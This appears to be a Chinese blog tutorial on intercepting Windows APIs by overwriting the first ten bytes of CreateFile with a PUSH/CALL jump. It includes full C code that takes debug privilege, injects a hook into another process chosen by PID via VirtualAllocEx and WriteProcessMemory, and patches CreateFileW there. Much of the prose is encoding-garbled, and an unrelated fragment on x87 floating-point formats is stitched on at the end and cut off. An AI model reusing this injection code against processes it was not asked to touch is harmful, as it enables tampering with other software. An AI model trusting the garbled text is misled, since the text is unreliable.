         拦截api的技术有很多U,大体分ؓ用户层和内核层的拦截Q这里只说说用户层的拦截Q而用户层也分多种Q修改PE文g导入表,直接修改要拦截的api的内存(从开始到最后,使程序蟩转到指定的地址执行Q.不过大部分原理都是修改程序流E,使之跌{C要执行的地方Q然后再q回到原地址Q原来api的功能必还能实玎ͼ否则拦截失M用了Q修Ҏ件导入表的方法的~点是如果用L序动态加载(使用LoadLibrary和GetProcAddress函数Q,拦截变得复杂一些.所以这里介l一下第二种ҎQ直接修改apiQ当然不是全局的.Q后面会说到Q?br />
  需要了解的一些知识:

  Q.windows内存的结构属性和q程地址I间

  Q.函数堆栈的一些知?br />


一Qwin2000和xp的内存结构和q程地址I间

  windows采用4GBq_虚拟地址I间的做法。即每个q程单独拥有4GB的地址I间。每个进E只能访问自qq?GB的虚拟空_而对于其他进E的地址I间则是不可见的。这样保证了q程的安全性和E_性。但是,q?GB的空间是一个虚拟空_在用之前,我们必须先保留一D虚拟地址Q然后再D虚拟地址提交物理存储器。可是我们的内存大部分都q没?GBQ那么这4GB的地址I间是如何实现的呢?事实上windows采用的内存映这U方法,x物理盘当作内存来用,比如我们打开一个可执行文g的时候,操作pȝ会ؓ我们开辟这?GB的地址I间Q?x00000000--0xffffffff。其?x00000000--0x7fffffff是属于用户层的空?0x80000000--0xffffffff则属于共享内核方式分区,主要是操作系l的U程调度Q内存管理,文gpȝ支持Q网l支持和所有设备驱动程序。对于用户层的进E,q些地址I间是不可访问的。Q何访问都导致一个错误。开辟这4GB的虚拟地址I间之后Q系l会把磁盘上的执行文件映到q程的地址I间中去(一般是在地址0x00400000Q可以通过修改~译选项来修改这个地址)而一个进E运行所需要的动态库文g则一般从0x10000000开始加载。但是如果所有的动态库都加载到q个位置肯定会引起冲H。因此必d一些可能引起冲H的dll~译旉C改基地址。但是对于所有的操作pȝ所提供的动态库windows已经定义好了映射在指定的位置。这个位|会随着版本的不同而会有所改变Q不q对于同一台机器上的映地址来说都是一L。即在aq程里映的kernel32.dll的地址和在q程b里的kernel32.dll的地址是一L。对于文件映是一U特D的方式Q得程序不需要进行磁盘i/op对磁盘文件进行操作,而且支持多种保护属性。对于一个被映射的文Ӟ主要是用CreateFileMapping函数Q利用他我们可以讑֮一些读写属?PAGE_READONLY,PAGE_READWRITE,PAGE_WRITECOPY.W一参数指定只能对该映射文gq行L作。Q何写操作导致内存访问错误。第二个参数则指明可以对映射文gq行d。这时候,MҎ件的d都是直接操作文g的。而对于第三个参数PAGE_WRITECOPY֐思义是写入时拷贝,M向这D内存写入的操作(因ؓ文g是映到q程地址I间的,对这D늩间的dq当于Ҏ件进行的直接d)都将被系l捕Pq新在你的虚拟地址I间重新保留q分配一D内存,你所写入的一切东襉K在q里Q而且你原先的指向映射文g的内存地址也会实际指向q段重新分配的内存,于是在进E结束后Q映文件内容ƈ没有改变Q只是在q行期间在那D늧有拷贝的内存里面存在着你修改的内容。windowsq程q行所需要映的一些系ldll是以这U方式映的Q比如常用的ntdll.dll,kernel32.dll,gdi32.dll.几乎所有的q程都会加蝲q三个动态库。如果你在一个进E里修改q个映射文g的内容,q不会媄响到其他的进E用他们。你所修改的只是在本进E的地址I间之内的。事实上原始文gq没有被改变?br />q样Q在后面的修改系lapi的时候,实际是修改q些动态库地址内的内容。前面说到这不是修改全局api是q个原因Q因Z们都是以写入时拷贝的方式来映的。不q这已经_了,windows提供?个强大的内存操作函数ReadProcessMemory和WriteProcessMemory.利用q两个函数我们就可以随便对Q意进E的L用户地址I间q行d了。但是,现在有一个问题,我们该写什么,说了半天Q怎么实现跌{呢?现在来看一个简单的例子Q?br />MessageBox(NULL, "World", "Hello", 0);
我们在执行这条语句的时候,调用了系lapi MessageBoxQ实际上在程序中我没有定义UNICODE宏,pȝ调用的是MessageBox的ANSI版本MessageBoxA,q个函数是由user32.dll导出的。下面是执行q条语句的汇~代码:
0040102A   push     0
0040102C   push     offset string "Hello" (0041f024)
00401031   push     offset string "World" (0041f01c)
00401036   push     0
00401038   call     dword ptr [__imp__MessageBoxA@16 (0042428c)]
前面四条指o分别为参数压栈,因ؓMessageBoxA是__stdcall调用U定Q所以参数是从右往左压栈的。最后再CALL 0x0042428c

看看0042428cq段内存的|
0042428C 0B 05 D5 77 00 00 00
可以看到q个?x77d5050b,正是user32.dll导出函数MessageBoxA的入口地址?br />
q是0x77D5050B处的内容Q?
77D5050B 8B FF           mov       edi,edi
77D5050D 55             push     ebp
77D5050E 8B EC           mov       ebp,esp
理论上只要改变api入口和出口的M机器码,都可以拦截该api。这里我选择最单的修改ҎQ直接修改api入口的前十个字节来实现蟩转。ؓ什么是十字节呢Q其实修改多字节都没有关系Q只要实C函数的蟩转之后,你能把他们恢复ƈ让他l箋q行才是最重要的。在CPU的指令里Q有几条指o可以改变E序的流E:JMPQCALLQINTQRETQRETFQIRET{指令。这里我选择CALL指oQ因Z是以函数调用的方式来实现跌{的,q样可以带一些你需要的参数。到q里Q我该说说函数的堆栈了?br />
ȝQwindowsq程所需要的动态库文g都是以写入时拯的方式映到q程地址I间中的。这P我们只能拦截指定的进E。修改目标进E地址I间中的指定api的入口和出口地址之间的Q意数据,使之跌{到我们的拦截代码中去Q然后再恢复q些字节Q之能利工作?br />



二:函数堆栈的一些知?br />
  正如前面所看到MessageBoxA函数执行之前的汇~代码,首先四个参数压栈,然后CALL MessageBoxAQ这时候我们的U程堆栈看v来应该是q样的:

|   |   <---ESP
|q回地址|
|参数1|
|参数2|
|参数3|
|参数4|
|..   |

我们再看MessageBoxA的汇~代码,
77D5050B 8B FF           mov       edi,edi
77D5050D 55             push     ebp
77D5050E 8B EC           mov       ebp,esp
注意到堆栈的操作有PUSH ebp,q是保存当前的基址指针Q以便一会儿恢复堆栈后返回调用线E时使用Q然后再有mov ebp,esp是把当前esp的DlebpQ这时候我们就可以使用 ebp+偏移 来表C堆栈中的数据,比如参数1可以表C成[ebp+8]Q返回地址可以表C成[ebp+4]..如果我们在拦截的时候要对这些参数和q回地址做Q何处理,可以用这U方法。如果这个时候函数有局部变量的话,通过减小ESP的值的方式来ؓ之分配空间。接下来是保存一些寄存器QEDI,ESI,EBX.要注意的是,函数堆栈是反方向生长的。这时候堆栈的样子Q?br />|....|
|EDI| <---ESP
|ESI|
|EBX|
|局部变量|
|EBP   |  
|q回地址|
|参数1|
|参数2|
|参数3|
|参数4|
|..   |

在函数返回的时候,由函数自w来q行堆栈的清理,q时候清理的序和开始入栈的序恰恰相反Q类似的汇编代码可能是这LQ?br />
pop edi
pop esi
pop ebx
add esp, 4
pop ebp
ret 0010
先恢复那些寄存器的|然后通过增加ESP的值的方式来释攑ֱ部变量。这里可以用mov esp, ebp来实现清I所有局部变量和其他一些空闲分配空间。接着函数会恢复EBP的|利用指oPOP EBP来恢复该寄存器的倹{接着函数q行ret 0010q个指o。该指o的意思是Q函数把控制权交l当前栈的地址的指令,同时清理堆栈?6字节的参数。如果函数有q回值的话,那在EAX寄存器中保存着当前函数的返回倹{如果是__cdecl调用方式Q则执行ret指oQ对于堆栈参数的处理交给调用U程d。如wsprintf函数?br />
q个时候堆栈又恢复了原来的样子。线E得以l往下执?..
在拦截api的过E之中一个重要的d是保证堆栈的正性。你要理清每一步堆栈中发生了什么?br />


三:形成思\
 
  呵呵Q不知道你现在脑h不是有什么想法。怎么d现拦截一个apiQ?br />  q里l出一个思\Q事实上拦截的方法真的很多,理清了一个,其他的也容易了。而且上面所说的2个关键知识,也可以以另外的Ş式来利用?br />  我以拦截CreateFileq个apiZ子来单说下这个思\吧:
 
  首先Q既然我们要拦截q个api应该知道这个函数在内存中的位置吧,臛_需要知道从哪儿入口。CreateFileq个函数是由kernel32.dllq个动态库导出的。我们可以用下面的Ҏ来获取他映射到内存中的地址Q?br />  HMODULE hkernel32 = LoadLibrary("Kernel32.dll");
  PVOID dwCreateFile = GetProcAddress(hkernei32, "CreateFileA");
q就可以得到createfile的地址了,注意q里是获取的createfile的ansic版本。对于UNICODE版本的则获取CreateFileW。这时dwCreateFile的值就是他的地址了。对于其他进E中的createfile函数也是q个地址Q前面说qwindows指定了他提供的所有的dll文g的加载地址?br /> 
  接下来,我们该想办法实现跌{了。最单的Ҏ是修改q个api入口处的代码了。但是我们该修改多少呢?修改的内容ؓ什么呢Q前面说q我们可以用CALL的方式来实现跌{Q这U方法的好处是可以ؓ你的拦截函数提供一个或者多个参数。这里只要一个参数就_了。带参数的函数调用的汇编代码是什么样子呢Q前面也已经说了Q类g调用MessageBoxA时的代码Q?br />
PUSH 参数地址
CALL 函数入口地址(q里Z个偏Ud址)

执行q?条指令就能蟩转到你要拦截的函CQ但是我们该修改成什么呢。首先,我们需要知道这2条指令的长度和具体的机器代码的倹{其中PUSH对应0x68Q而CALL指o对应的机器码?xE8,而后面的则分别对应拦截函数的参数地址和函数的地址。注意第一个是一个直接的地址Q而第二个则是一个相对地址。当然你也可以?xFF0x15q个CALL指o来进行直接地址的蟩转?br />下面是计算q?个地址的gQ?br />对于参数和函C的地址Q要分情况而定Q对于对本进E中api的拦截,则直接取地址可以了。对于参敎ͼ可以先定义一个参数变量,然后取变量地址ok了?br />如果是想拦截其他q程中的apiQ则必须使用其他一些方法,最典型的方法是利用VirtualAllocEx函数来在其他q程中申请和提交内存I间。然后用WriteProcessMemory来分别把函数体和参数分别写入甌和分配的内存I间中去。然后再生成要修改的数据Q最后用WriteProcessMemory来修改api入口Q把入口的前10字节修改为刚刚生成的跌{数据。比如在q程q程中你写入的参数和函数体的内存地址分别?x00010000?x00011000,则生成的跌{数据?68 00 00 01 00 E8 00 10 01 00(PUSH 00010000 CALL 00011000),q样E序q行createfile函数的时候将会先q行PUSH 00010000 CALL 00011000Q这样就辑ֈ了蟩转的目的。此L们应该时L意堆栈的状态,对于CreateFile?br />HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
可以看到其有7个参敎ͼ于是在调用之前,堆栈应该已经被压入了q?个参敎ͼ堆栈的样子:
|....|   <---ESP
|createfile执行后的下一条指令地址|
|参数1|
|参数2|
|参数3|
|参数4|
|参数5|
|参数6|
|参数7|
|..|

q是执行到我们的跌{语句QPUSH 00010000,于是堆栈又变了:

|....|   <---ESP
|00010000|
|createfile执行后的下一条指令地址|
|参数1|
|参数2|
|参数3|
|参数4|
|参数5|
|参数6|
|参数7|
|..|

接着执行CALL 00011000,堆栈变ؓQ?br />|...| <---ESP
|api入口之后的第11个字节的指o的地址|  
|00010000|
|createfile执行后的下一条指令地址|
|参数1|
|参数2|
|参数3|
|参数4|
|参数5|
|参数6|
|参数7|
|..|

接下来就C我们的拦截函C拉,当然Q函数肯定也会做一些类似动作,把EBP压栈Qؓ局部变量分配空间等。这时候堆栈的样子又变了:

|EDI| <---ESP
|ESI|
|EBX|
|局部变量|
|EBP|   <---EBP
|api入口之后的第11个字节的指o的地址|  
|00010000|
|createfile执行后的下一条指令地址|
|参数1|
|参数2|
|参数3|
|参数4|
|参数5|
|参数6|
|参数7|
|..|

q时候,你想做什么就情地做吧,获取参数信息Qg~执行CreateFile函数{等。拿获取打开文g句柄的名字来说吧Q文件名是第一个参敎ͼ前面说过我们可以用[EBP+8]来获取参敎ͼ但是对照上面的堆栈ŞӞ中间又加了另外一些数据,所以我们用[EBP+16]来获取第一个参数的地址。比如:
char* PFileName = NULL;
__asm{
MOV EAX,[EBP+16]
MOV [szFileName], EAX
}

比如我们用一个messagebox来弹Z个信息,说明该程序即打开一个某谋\径的文g句柄。但是有一个要注意的是Q如果你x截远E进E的话,对于那个拦截函数中所使用到的M函数或者以M形式的相对地址的调用都要停止。因为每个进E中的地址分配都是独立的,比如上面的CALL MessageBoxAҎ直接地址的调用。对于用messageboxQ我们应该定义一个函数指针,然后把这个指针的Dgؓuser32.dll中导函数的直接地址。然后利用这个指针来q行函数调用。对于messagebox函数的调用可以这P在源E序中定义一个参数结构体Q参C包含一个导出函数的地址,把这个地址设ؓMessageBoxA的直接地址Q获取地址的方法就不说了。然后把q个参数传给拦截函数Q就可以使用拉。这也是利用一个参数的原因。类g码如下:


typedef struct _RemoteParam {
  DWORD dwMessageBox;
} RemoteParam, * PRemoteParam;

typedef int (__stdcall * PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);//定义一个函数指?br />
//拦截函数
void HookCreateFile(LPVOID lParam)
{
RemoteParam* pRP = (RemoteParam*)lParam;//获取参数地址
char* PFileName = NULL;//定义一个指?br />__asm{
MOV EAX,[EBP+16]
MOV [szFileName], EAX //把CreateFileW一个参数的|文g的\径的地址?              //lszFileName
}

//?义一个函数指?br />PFN_MESSAGEBOX pfnMessageBox = (PFN_MESSAGEBOX)pRP->dwMessageBox;

pfnMessageBox(NULL, PFileName, PFileName, MB_ICONINFORMATION |MB_OK);
//输出要打开的文件的路径
//.....
}

对于你要使用的其他函敎ͼ都是使用同样的方式,利用q个参数来传递我们要传递的函数的绝对地址Q然后定义这个函数指针,可以用了?br />

好了Q接下来我们该让被拦截的api正常工作了,q个不难Q把他原来的数据恢复一下就可以了。那入口?0个字节。我们在改写他们的时候应该保存一下,然后也把他放在参C传递给拦截函数Q呵呵,参数的作用可多了。接着我们可以用WriteProcessMemory函数来恢复这个api的入口了Q代码如下:
PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP->dwGetCurrentProcess;
PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP->dwWriteProcessMemory;
 
if(!pfnWriteProcessMemory(pfnGetCurrentProcess(),
                            (LPVOID)pfnConnect,
                            (LPCVOID)pRP->szOldCode,
                            10,
                            NULL))
pfnMessageBox(NULL, pRP->szModuleName1, pRP->szModuleName2, MB_ICONINFORMATION | MB_OK);
其中q些函数指针的定义和上面的类伹{?br />而参C的szoldcode则是在源E序中在修改api之前保存好,然后传给拦截函数Q在源程序中是用ReadProcessMemory函数来获取他的前10个字节的Q?br />ReadProcessMemory(GetCurrentProcess(),
                      (LPCVOID)RParam.dwCreateFile,
                      oldcode,
                      10,
                      &dwPid)
strcat((char*)RParam.szOldCode, (char*)oldcode);


接下来如果你ql保持对该api的拦截,则又该用WriteProcessMemory 来修改入口了Q跟前面的恢复入口是一LQ只不过把szOldCode换成了szNewCode了而已。这样你又能对CreateFilel箋拦截了?br />
好了Q接下来该进行堆栈的清理了,也许你还要做点其他事情,管做去。但是清理堆栈是必须要做的,在函数结束的时候,因ؓ在我们放任api恢复执行之后Q他又return 到我们的函数中来了,q个时候的堆栈是什么样子呢Q?br />|EDI| <---ESP
|ESI|
|EBX|
|局部变量|
|EBP|   <---EBP
|api入口之后的第11个字节的指o的地址|  
|00010000|
|createfile执行后的下一条指令地址|
|参数1|
|参数2|
|参数3|
|参数4|
|参数5|
|参数6|
|参数7|
|..|

我们的目标是把返回D录下来放到EAX寄存器中去,把返回地址记录下来Q同时把堆栈恢复成原来的样子?br />首先我们恢复那些寄存器的|接着释放局部变量,可以用mov esp, ebp.因ؓ我们不清楚具体的局部变量分配了多少I间。所以用这个方法?br />

__asm
{POP EDI
POP ESI
POP EBX   //恢复那些寄存?br />MOV EDX, [NextIpAddr]//把返回地址攑ֈEDX中,因ؓ待会?            //EBX被恢复后Q线E中的所有局部变量就不能正常使用了?br />     
MOV EAX, [RetValue]//q回值放到EAX中,当然也可以修改这个返回?br />MOV ESP, EBP//清理局部变?br />POP EBP//恢复EBP的?br />ADD ESP, 28H //清理参数和返回地址Q注意一?7+1+1+1)*4
PUSH EDX //把返回地址压栈Q这h中就只有q一个返回地址了,q回之后?      //q?br />RET
}

q样Q一切就完成了,堆栈恢复了应该有的状态,而你x截的也拦截到了?br />

四:后记
  拦截的方式多U多P不过大体的思\却都相同。要时刻注意你要拦截的函数的堆栈状态以及在拦截函数中的Ҏ据的引用和函数的调用Q地址问题Q?br />
 
//////////////////////////////////////////////////////////////////////
附录Q一个拦截CreateFile函数的简单实?br />//////////////////////////////////////////////////////////////////////
CODE:

#include <stdio.h>
#include <windows.h>
#include <Psapi.h>

#pragma comment(lib, "psapi.lib")

typedef struct _RemoteParam {
  DWORD dwCreateFile;
  DWORD dwMessageBox;
  DWORD dwGetCurrentProcess;
  DWORD dwWriteProcessMemory;
  unsigned char szOldCode[10];
  DWORD FunAddr;
} RemoteParam, * PRemoteParam;

typedef HANDLE (__stdcall * PFN_CREATEFILE)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
typedef int (__stdcall * PFN_MESSAGEBOX)(HWND, LPCTSTR, LPCTSTR, DWORD);
typedef BOOL (__stdcall * PFN_WRITEPROCESSMEMORY)(HANDLE,LPVOID,LPCVOID,SIZE_T,SIZE_T*);
typedef HANDLE (__stdcall * PFN_GETCURRENTPROCESS)(void);

#define PROCESSNUM 128
#define MYMESSAGEBOX "MessageBoxW"
#define MYCREATEFILE "CreateFileW"

void HookCreateFile(LPVOID lParam)
{

  RemoteParam* pRP = (RemoteParam*)lParam;


  DWORD NextIpAddr = 0;
  DWORD dwParamaAddr = 0;

  HANDLE RetFpHdl = INVALID_HANDLE_VALUE;
  LPCTSTR lpFileName;
  DWORD dwDesiredAccess;
  DWORD dwShareMode;
  LPSECURITY_ATTRIBUTES lpSecurityAttributes;
  DWORD dwCreationDisposition;
  DWORD dwFlagsAndAttributes;
  HANDLE hTemplateFile;
  PFN_CREATEFILE pfnCreatefile = (PFN_CREATEFILE)pRP->dwCreateFile;


  __asm
  {
  MOV EAX,[EBP+8]
  MOV [dwParamaAddr], EAX
  MOV EAX,[EBP+12]      
  MOV [NextIpAddr], EAX
  MOV EAX,[EBP+16]
  MOV [lpFileName], EAX
  MOV EAX,[EBP+20]
  MOV [dwDesiredAccess],EAX
  MOV EAX,[EBP+24]
  MOV [dwShareMode],EAX
  MOV EAX,[EBP+28]
  MOV [lpSecurityAttributes],EAX
  MOV EAX,[EBP+32]
  MOV [dwCreationDisposition],EAX
  MOV EAX,[EBP+36]
  MOV [dwFlagsAndAttributes],EAX
  MOV EAX,[EBP+40]
  MOV [hTemplateFile],EAX  
  }

  PFN_MESSAGEBOX pfnMessageBox = (PFN_MESSAGEBOX)pRP->dwMessageBox;
  int allowFlag = pfnMessageBox(NULL, lpFileName, NULL, MB_ICONINFORMATION | MB_YESNO);
 
  if(allowFlag == IDYES)
  {
  unsigned char szNewCode[10];
  int PramaAddr = (int)dwParamaAddr;
  szNewCode[4] = PramaAddr>>24;
  szNewCode[3] = (PramaAddr<<8)>>24;
  szNewCode[2] = (PramaAddr<<16)>>24;
  szNewCode[1] = (PramaAddr<<24)>>24;
  szNewCode[0] = 0x68;
 
  int funaddr = (int)pRP->FunAddr - (int)pfnCreatefile - 10 ;
  szNewCode[9] = funaddr>>24;
  szNewCode[8] = (funaddr<<8)>>24;
  szNewCode[7] = (funaddr<<16)>>24;
  szNewCode[6] = (funaddr<<24)>>24;
  szNewCode[5] = 0xE8;
 
 
  PFN_GETCURRENTPROCESS pfnGetCurrentProcess = (PFN_GETCURRENTPROCESS)pRP->dwGetCurrentProcess;
  PFN_WRITEPROCESSMEMORY pfnWriteProcessMemory = (PFN_WRITEPROCESSMEMORY)pRP->dwWriteProcessMemory;
  pfnWriteProcessMemory(pfnGetCurrentProcess(),
                (LPVOID)pfnCreatefile,
                (LPCVOID)pRP->szOldCode,
                10,
                NULL);

  RetFpHdl = pfnCreatefile(lpFileName,
                  dwDesiredAccess,
                  dwShareMode,
                  lpSecurityAttributes,
                  dwCreationDisposition,
                  dwFlagsAndAttributes,
                  hTemplateFile);
  pfnWriteProcessMemory(pfnGetCurrentProcess(),
                (LPVOID)pfnCreatefile,
                (LPCVOID)szNewCode,
                10,
                NULL);
  }


  __asm
    {POP EDI
      POP ESI
      POP EBX
      MOV EDX, [NextIpAddr]
      MOV EAX, [RetFpHdl]
      MOV ESP, EBP
      POP EBP
      ADD ESP, 28H
      PUSH EDX
      RET
    }

 
}



BOOL AdjustProcessPrivileges(LPCSTR szPrivilegesName)
{
  HANDLE hToken;
  TOKEN_PRIVILEGES tkp;

  if(!OpenProcessToken(GetCurrentProcess(),
    TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
  {
    return FALSE;
  }

  if(!LookupPrivilegeValue(NULL,szPrivilegesName,
                  &tkp.Privileges[0].Luid))
  {
    CloseHandle(hToken);
    return FALSE;
  }
 
  tkp.PrivilegeCount = 1;
  tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
  if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
  {
    CloseHandle(hToken);
    return FALSE;
  }
 
  CloseHandle(hToken);
  return TRUE;
}


void printProcessNameByPid( DWORD ProcessId )
{
  HANDLE pHd;
  HMODULE pHmod;
  char ProcessName[MAX_PATH] = "unknown";
  DWORD cbNeeded;
  pHd = OpenProcess( PROCESS_QUERY_INFORMATION |PROCESS_VM_READ, FALSE, ProcessId );
  if(pHd == NULL)
    return;
 
  if(!EnumProcessModules( pHd, &pHmod, sizeof(pHmod), &cbNeeded))
    return;
  if(!GetModuleFileNameEx( pHd, pHmod, ProcessName, MAX_PATH))
    return;
 
  printf( "%d\t%s\n", ProcessId, ProcessName);
  CloseHandle( pHd );
  return;
}


int main(void)
{

  if(!AdjustProcessPrivileges(SE_DEBUG_NAME))
  {
      printf("AdjustProcessPrivileges Error!\n");
      return -1;
  }

  DWORD Pids[PROCESSNUM];
  DWORD dwProcessNum = 0;
  if(!EnumProcesses(Pids, sizeof(Pids), &dwProcessNum))
  {
      printf("EnumProcess Error!\n");
      return -1;
  }
 
  for( DWORD num = 0; num < (dwProcessNum / sizeof(DWORD)); num++)
      printProcessNameByPid(Pids[num]);

  printf("\nAll %d processes running. \n", dwProcessNum / sizeof(DWORD));

  DWORD dwPid = 0;
  printf("\n误入要拦截的进Eid:");
  scanf("%d", &dwPid);
 
  HANDLE hTargetProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, dwPid);
  if(hTargetProcess == NULL)
  {
      printf("OpenProcess Error!\n");
      return -1;
  }

  DWORD dwFunAddr = (DWORD)VirtualAllocEx(hTargetProcess, NULL, 8192,
                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
  if((LPVOID)dwFunAddr == NULL)
  {
      printf("甌U程内存p|!\n");
      CloseHandle(hTargetProcess);
      return -1;
  }

  DWORD dwPramaAddr = (DWORD)VirtualAllocEx(hTargetProcess, NULL, sizeof(RemoteParam),
                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  if((LPVOID)dwPramaAddr == NULL)
  {
      printf("甌参数内存p|!\n");
      CloseHandle(hTargetProcess);
      return -1;
  }

  printf("\nU程内存地址:%.8x\n"
        "参数内存地址:%.8x\n",
        dwFunAddr, dwPramaAddr);
    RemoteParam RParam;
  ZeroMemory(&RParam, sizeof(RParam));
  HMODULE hKernel32 = LoadLibrary("kernel32.dll");
  HMODULE hUser32 = LoadLibrary("user32.dll");

  RParam.dwCreateFile = (DWORD)GetProcAddress(hKernel32, MYCREATEFILE);
  RParam.dwGetCurrentProcess = (DWORD)GetProcAddress(hKernel32, "GetCurrentProcess");
  RParam.dwWriteProcessMemory = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
  RParam.dwMessageBox = (DWORD)GetProcAddress(hUser32, MYMESSAGEBOX);
 
  unsigned char oldcode[10];
  unsigned char newcode[10];
  int praadd = (int)dwPramaAddr;
  int threadadd = (int)dwFunAddr;
  newcode[4] = praadd>>24;
  newcode[3] = (praadd<<8)>>24;
  newcode[2] = (praadd<<16)>>24;
  newcode[1] = (praadd<<24)>>24;
  newcode[0] = 0x68;
 
  int offsetaddr = threadadd - (int)RParam.dwCreateFile - 10 ;
  newcode[9] = offsetaddr>>24;
  newcode[8] = (offsetaddr<<8)>>24;
  newcode[7] = (offsetaddr<<16)>>24;
  newcode[6] = (offsetaddr<<24)>>24;
  newcode[5] = 0xE8;

  printf("NewCode:");
  for(int j = 0; j < 10; j++)
      printf("0x%.2x ",newcode[j]);
  printf("\n\n");



  if(!ReadProcessMemory(GetCurrentProcess(),
                  (LPCVOID)RParam.dwCreateFile,
                  oldcode,
                  10,
                  &dwPid))
  {
      printf("read error");
      CloseHandle(hTargetProcess);
      FreeLibrary(hKernel32);
      return -1;
  }

  strcat((char*)RParam.szOldCode, (char*)oldcode);
  RParam.FunAddr = dwFunAddr;

  printf(
        "RParam.dwCreateFile:%.8x\n"
        "RParam.dwMessageBox:%.8x\n"
        "RParam.dwGetCurrentProcess:%.8x\n"
        "RParam.dwWriteProcessMemory:%.8x\n"
        "RParam.FunAddr:%.8x\n",
        RParam.dwCreateFile,
        RParam.dwMessageBox,
        RParam.dwGetCurrentProcess,
        RParam.dwWriteProcessMemory,
        RParam.FunAddr);
  printf("RParam.szOldCode:");
  for( int i = 0; i< 10; i++)
      printf("0x%.2x ", RParam.szOldCode[i]);
  printf("\n");
 
 
  if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwFunAddr, (LPVOID)&HookCreateFile, 8192, &dwPid))
  {
      printf("WriteRemoteProcessesMemory Error!\n");
      CloseHandle(hTargetProcess);
      FreeLibrary(hKernel32);
      return -1;
  }

  if(!WriteProcessMemory(hTargetProcess, (LPVOID)dwPramaAddr, (LPVOID)&RParam, sizeof(RemoteParam), &dwPid))
  {
      printf("WriteRemoteProcessesMemory Error!\n");
      CloseHandle(hTargetProcess);
      FreeLibrary(hKernel32);
      return -1;
  }
 
  if(!WriteProcessMemory(hTargetProcess, (LPVOID)RParam.dwCreateFile, (LPVOID)newcode, 10, &dwPid))
  {
      printf("WriteRemoteProcessesMemory Error!\n");
      CloseHandle(hTargetProcess);
      FreeLibrary(hKernel32);
      return -1;
  }

  printf("\nThat's all, good luck :)\n");
  CloseHandle(hTargetProcess);
  FreeLibrary(hKernel32);
  return 0;
}


]]>
[攉]关于汇编80X87FPU点q算http://www.shnenglu.com/saga/archive/2007/01/17/17721.htmlsaga.constantinesaga.constantineWed, 17 Jan 2007 06:46:00 GMThttp://www.shnenglu.com/saga/archive/2007/01/17/17721.htmlhttp://www.shnenglu.com/saga/comments/17721.htmlhttp://www.shnenglu.com/saga/archive/2007/01/17/17721.html#Feedback3http://www.shnenglu.com/saga/comments/commentRss/17721.htmlhttp://www.shnenglu.com/saga/services/trackbacks/17721.html 80X87FPU点数据的格式、Q点寄存器的特?br />
点数据格式:
在计机中,实数的QҎ式(Floating-Point FormatQ所C,分成指数、有效数字和W号位三个部分?br />·  W号QSignQ——表C数据的正负Q在最高有效位QMSBQ。负数的W号位ؓ1Q正数的W号??br />·  指数QExponentQ——也被称为阶码,表示数据?为底的幂。指数采用偏UȝQBiased ExponentQ表C,恒ؓ整数?br />·  有效数字QSignificandQ——表C数据的有效数字Q反映数据的_ֺ。有效数字一般采用规格化QNormalizedQŞ式,是一个纯数Q所以也被称为尾敎ͼMantissaQ、小数或分数QFractionQ?br />      80x87支持三种点数据cdQ单_ֺ、双_ֺ和扩展精度;它们的长度依ơؓ32?4?0位,???0个字节;
·  单精度QҎQ?2位短实数Q——由1位符受?位指数?3位有效数l成?br />·  双精度QҎQ?4位长实数Q——由1位符受?1位指数?2位有效数l成?br />·  扩展_ֺ点敎ͼ80位时实敎ͼ——由1位符受?5位指数?4位有效数l成。很多计机中ƈ没有80位扩展精度这U数据类型,80x87 FPU主要在内部用它存贮中间l果Q以保证最l数值的_ֺ?/p>

80x87的指令系l?br />点处理单元FPUh自己的指令系l,共有几十UQҎ令,可以分成传送、算术运、超函数、比较、FPU控制{类。QҎ令归属于ESC指oQ其?位的操作码都?1011bQ它的指令助记符均以F开头?br />1. 点传送类指o
    点数据传送指令完成主存与栈顶st(0)、数据寄存器st(i)与栈之间的点格式数据的传送。QҎ据寄存器是一个首接的堆栈Q所以它的数据传送实际上是对堆栈的操作,有些要改变堆栈指针TOPQ即修改当前栈顶?br />2. 术q算cL?br />    q类点指o实现点数?6/32位整数的加、减、乘、除q算Q它们支持的d方式相同。这l指令还包括有关术q算的指令,例如求绝对倹{取整等?br />3. 越函数cL?br />    点指o集中包含有进行三角函数、指数和Ҏq算的指令?br />4. 点比较cL?br />    点比较指o比较栈顶数据与指定的源操作数Q比较结果通过点状态寄存器反映?br />5. FPU控制cL?br />    FPU控制cL令用于控制和Q点处理单元FPU的状态及操作方式?/p>

采用点指o的汇~语aE序格式Q与整数指o源程序格式是cM的,但有以下几点需要注意:
·  使用FPU选择伪指?br />      ׃汇编E序MASM默认只识?086指oQ所以要加上.8087 / .287 / .387{伪指o选择汇编点指oQ有Ӟq要加上相应?238/.386{伪指o?br />·  定义点数据
      数据定义伪指令dd(dword) / dq(qword) / dt(tbyte)依次说明32/64/80位数据;它们可以用于定义单精度、双_ֺ和扩展精度QҎ。ؓ了区别于整数定义QMASM 6.11采用REAL4、REAL8、REAL10定义单、双、扩展精度QҎQ但不能出现U整敎ͼ其实Q整数后面补个小数点可以了Q。相应的数据属性依ơ是dword、qword、tbyte。另外,实常数可以用E表示10的幂?br />·  初始化Q点处理单?
      每当执行一个新的Q点程序时Q第一条指令都应该是初始化FPU的指令finit。该指o清除点数据寄存器栈和异常,为程序提供一个“干净”的初始状态。否则,遗留在Q点寄存器栈中的数据可能会产生堆栈溢出。另一斚wQQҎ令程序段l束Q也最好清IQҎ据寄存器?/p>

点寄存?
